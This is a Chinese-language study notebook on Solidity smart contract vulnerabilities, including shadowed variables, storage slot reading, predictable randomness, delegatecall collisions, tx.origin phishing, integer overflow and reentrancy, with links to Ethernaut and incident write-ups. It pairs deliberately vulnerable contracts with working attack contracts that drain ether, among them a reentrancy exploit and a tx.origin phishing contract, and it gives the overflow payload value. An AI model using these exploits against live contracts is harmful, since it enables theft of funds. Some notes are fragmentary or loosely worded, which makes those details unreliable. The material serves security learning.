安全库Secureum: | https://secureum.substack.com/ |
---|---|
入门教程: | https://console-cowboys.blogspot.com/2020/08/smart-contract-hacking-chapter-1.html |
读private变量 | https://learnblockchain.cn/article/4199 |
Ethernaut CTF | https://ethernaut.openzeppelin.com/ |
Ethernaut答案 | https://xz.aliyun.com/t/7173 https://xz.aliyun.com/t/7174 |
Ethernaut 题库闯关 #13 — Gatekeeper One | https://learnblockchain.cn/article/4656 |
合约安全之-变量隐藏安全问题分析 | https://learnblockchain.cn/article/4204 |
区块浏览器 | bloxy.info |
---|---|
DeFi 协议 bZx 二次被黑 | 通过闪电贷操纵uniswap价格攻击 | https://mp.weixin.qq.com/s/XTMdy826NTRarKY3wVIdog |
---|---|---|
Lendf.Me | 通过ERC777重入,在supply()中重入withdraw() 导致余额二次更新 | https://mp.weixin.qq.com/s/tps3EvxyWWTLHYzxsa9ffw https://learnblockchain.cn/article/894 |
Base合约和Children合约都具有owner状态变量,却只有Base合约有onlyOwner修饰符。
- **对Base合约:**没有对owner进行赋值(owner默认为0x0000000000000000000000000000000000000000),却直接定义了onlyOwner的修饰符。
- **对Children合约:**对owner进行赋值(owner默认为0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266),却没有直接定义onlyOwner的修饰符(直接继承使用了Base合约的onlyOwner的修饰符)。
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.4.0;
import "hardhat/console.sol";
contract Base {
address public owner;
modifier onlyOwner() {
require(msg.sender==owner,"Only Owner can call the function");
_;
}
}
contract Children is Base {
uint public totalSupply = 100;
address public owner;
constructor() public {
owner = msg.sender;
console.log("\\nChildren constructor:%s",owner);
}
function withdraw(uint _amount) public onlyOwner {
totalSupply = totalSupply - _amount;
// console.log(“aaa”);
}
}
解决方法:
理解了上面的原因,很简单的两种修改方法:
-
给Base合约加上owner的赋值。
constructor() public { owner = msg.sender; console.log("\\nBase constructor:%s",owner); }
-
给Children合约加上OnlyOwner修饰符。
modifier onlyOwner() { require(msg.sender==owner,"Only Owner can call the function"); _; }
pragma solidity ^0.8.0;
contract VariableOverride {
uint256 public globalVariable = 1;
function setGlobalVariable(uint256 _globalVariable) public {
uint256 globalVariable = _globalVariable;
//使用uint256声明了与全局变量同名
//去掉uint后 globalVariable = _globalVariable;
// 在这里,使用 globalVariable 变量时,会优先使用局部变量,而不是全局变量。
// 这将会覆盖全局变量的值,导致数据丢失。
}
}
下面合约中,下面的三行diam重新定义了结构体,因此会覆盖第一个、第二个存储块,因为我们只需要见_name设置为bytes32(1)就可以将unlocked变为“ture”
0.8.0版本以下才有这个问题:
pragma solidity ^0.4.23;
// A Locked Name Registrar
contract Locked {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); // only allow registrations if contract is unlocked
}
}
contract attack{
function hack(address param){
Locked a = locked(param);
a.register(bytes32(1),address(msg.sender));
}
}
解决方法:
NameRecord memory newRecord = NameRecord({
name: _name,
mappedAddress: _mappedAddress
});
mul | * |
---|---|
div | / |
add | + |
sub | - |
0.8.0< msg.gas
0.8.0> gasleft()
assembly { x := extcodesize(caller) }
bytes4 a = 0xffffffff;
bytes4 mask = 0xf0f0f0f0;
bytes4 result = a & mask ; // 0xf0f0f0f0
1010
XOR 1101
------
0111
异或的特性就是异或两次就是原数据
1字节=2位16进制=8位2进制
0.8.0版本后address 新增 transfer send
区别:
transfer | gaslimit:2300 返回发送状态 |
---|---|
send | 可以自定义gas 不反回发送状态 |
call | 发送所有可用gas |
合约数据在以太坊区块链上有2^256个槽,每个槽32字节.
静态变量(除了映射和动态大小的数组类型之外的所有变量)从位置 0 开始在存储中连续布局。同时为了节省空间,会根据以下规则将需要少于 32 个字节的多个项目打包到一个存储槽中:
- 在每个槽中,第一项存储在低位,第二项存储在次低位,从低位向高位存储。
- 基本类型只使用存储它们所需的那么多字节,如一个bool只使用1个字节,1个uint16只使用2个字节。
- 如果一个存储槽的剩余空间不足以存储基本类型,则将该基本类型移动到下一个存储槽中存储。
- 结构休和数组总是开始一个新的槽并占据整个槽(但是结构体或数组中的子类型也会根据这些上面的规则被优化存储)。
数据按声明顺序依次存储在这些插槽中。 存储时会进行优化以节省存储空间。因此,如果依次的多个变量可以在单个 32 字节槽中容纳的话,它们将共享同一个槽,并且依次从最低有效位(从右侧)开始存储和索引。
1.addresss 占20字节
2.uint16 16/8 =2字节
3.从低位到高位存储
获取低位16位 bytes16(uint256(bytes32_variable))
获取高位16位 bytes16(uint256(bytes32_variable >> 128))
在 Solidity 0.8.0 及以上版本中,constant
常量和 immutable
常量都不会占用存储槽(slot)。
ethers 获取slot
let slot5 = await privider.getStorageAt(privacy.address, 5); console.log("读取数据,使用读取到的密码调用unlock函数....");
await privacy.unlock(ethers.utils.hexlify(slot5.slice(0,34))); //取16个字节,对应32位长度,再加上前面的0x前缀,一共要取34长度
数组类型在slot中存储长度
mapping类型在slot中存储起始位置 通过mapping映射类型hash获取
function rand() public returns(uint256) {
uint256 random = uint256(keccak256(block.blockhash(block.number)));
return random%10;
}
上述代码使用BlockHash作为随机数,BlockHash在区块正式生成之前是不可知的,在这里通过block.number变量可以获取当前区块区块高度,但是在执行时,当前区块属于未来区块,它的blockhash是不可知的,即只有在打包包含此合约调用的交易时,这个未来区块才变为当前区块,所以合约才可以获取此区块的区块哈希,因此这种调用方式会导致结果永恒为0
uint256 random = uint256(keccak256(block.blockhash(block.number - 1)));
在TVM中blockhash被限定为只能获取近256个高度区块的数据,因此在以上的两笔交易间隔超过256 * 3s,大约12.8分钟后,这种方式就会失效
pragma solidity ^0.6.6;
contract simpleVulnerableBlockHash {
uint32 public block_number;
bytes32 public myHash;
function get_block_number() public {
block_number = uint32(block.number);
}
function set_hash() public{
myHash = bytes32(blockhash(block_number));
}
function wasteTime() public{
uint test = uint(block.number);
}
}
且在同一区块中 block.number 和 block.timestamp 这两个参数是不变的,所以,Attack.attack() 和 guessTheRandomNumber.guess() 这两个函数生成的随机数的结果是相同的,从而攻击者可以顺利通过 if(_guess == answer) 判断得到奖励。
pragma solidity ^0.8.13;
contract Attack {
receive() external payable {}
function attack(GuessTheRandomNumber guessTheRandomNumber) public {
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
guessTheRandomNumber.guess(answer);
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
pragma solidity ^0.8.13;
contract Attack {
receive() external payable {}
function attack(GuessTheRandomNumber guessTheRandomNumber) public {
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
guessTheRandomNumber.guess(answer);
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
1.通过逻辑合约修改非对应的存储数据插槽slot
pragma solidity 0.6.6;
contract LogicContract {
uint public a;
function set(uint256 val) public {
a = val;
}
}
contract CallingContract {
uint256 public b = 5;
uint256 public a = 5;
address logic_pointer = address(new LogicContract());
function setA(uint val) public {
logic_pointer.delegatecall(abi.encodeWithSignature("set(uint256)", val));
}
}
1.通过调用的方式间接修改owner地址,并不是直接攻击合约
pragma solidity ^0.6.6;
interface targetInterface {
function transferTo(address payable to, uint amount) payable external;
function changeOwner(address newOwner) external;
function kill() external;
}
contract PhishingBankOfEther {
address payable attackerAddress;
constructor() public {
attackerAddress = msg.sender;
}
targetInterface bankInterface = targetInterface(ADDRESS);
function test () payable public {
bankInterface.transferTo(attackerAddress, 1 ether);
bankInterface.changeOwner(attackerAddress);
}
}
pragma solidity ^0.6.6;
contract BankOfEther {
address owner;
mapping (address =>uint) balances;
constructor() public {
owner = msg.sender;
}
function deposit() public payable{
balances[msg.sender] = balances[msg.sender]+msg.value;
}
function transferTo(address payable to, uint amount) public payable{
require(tx.origin == owner);
to.transfer(amount);
}
function changeOwner(address newOwner) public{
require(tx.origin == owner);
owner = newOwner;
}
function kill() public {
require(msg.sender == owner);
selfdestruct(msg.sender);
}
}
0x8000000000000000000000000000000000000000000000000000000000000000
["0x617F2E2fD72FD9D5503197092aC168c91465E7f2","0x5c6B0f7Bf3E7ce046039Bd8FABdfD3f9F5021678"]
uint无符号整数超出2**256-1后会从0开始计算
0.8.0以后修复了整数溢出
在 Solidity 0.8.0 版本及以后的版本中,如果你尝试将一个 uint256 类型的值加上 1,当这个值已经达到了 uint256 的最大值时,会抛出一个类型为 Overflow/Underflow
的异常,从而避免了整数溢出的问题
pragma solidity ^0.4.16;
contract test{
using SafeMath for uint256;
mapping(address => uint256) public balances;
function batchTransfer(address[] _receivers, uint256 _value) public returns (bool) {
uint cnt = _receivers.length;
uint256 amount = uint256(cnt) * _value;
//0x8000000000000000000000000000000000000000000000000000000000000000
// amount = 0
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
//0x8000000000000000000000000000000000000000000000000000000000000000>0
//balances[msg.sender] >= 0
for(uint i;i < cnt; i++){
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
}
balances[msg.sender] = balances[msg.sender].sub(amount);
return true;
}
function deposit(uint256 _value) public{
balances[msg.sender] = balances[msg.sender].add(_value);
}
function get_cnt( uint256 len,uint256 _value) public returns(uint){
return len*_value;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
1.call函数会触发fallback,再fallback再次调用取款函数。
2.没有先修改金额再转账
3.使用transfer代替call或者加防重入modifer
pragma solidity ^0.6.6;
contract simpleReentrancy {
mapping (address => uint) private balances;
function deposit() public payable {
require((balances[msg.sender] + msg.value) >= balances[msg.sender]);
balances[msg.sender] += msg.value;
}
function withdraw(uint withdrawAmount) public returns (uint) {
require(withdrawAmount <= balances[msg.sender]);
msg.sender.call.value(withdrawAmount)("");
//0.8.0
//(bool success, ) = msg.sender.call{value: withdrawAmount}("");
//require(success, "Transfer failed.");
balances[msg.sender] -= withdrawAmount;
return balances[msg.sender];
}
function getBalance() public view returns (uint){
return balances[msg.sender];
}
}
pragma solidity ^0.6.6;
interface targetInterface{
function deposit() external payable;
function withdraw(uint withdrawAmount) external;
}
contract simpleReentrancyAttack{
targetInterface bankAddress = targetInterface(0xB9e2A2008d3A58adD8CC1cE9c15BF6D4bB9C6d72);
//被攻击合约地址
uint amount = 1 ether;
function deposit() public payable{
bankAddress.deposit.value(amount)();
}
function attack() public payable{
bankAddress.withdraw(amount);
}
function retrieveStolenFunds() public {
msg.sender.transfer(address(this).balance);
}
fallback () external payable{
if (address(bankAddress).balance >= amount){
bankAddress.withdraw(amount);
}
}
}
1.图中[0]=40转hex表示长度64 长度是44/32=2
2.[2]表示_value = 2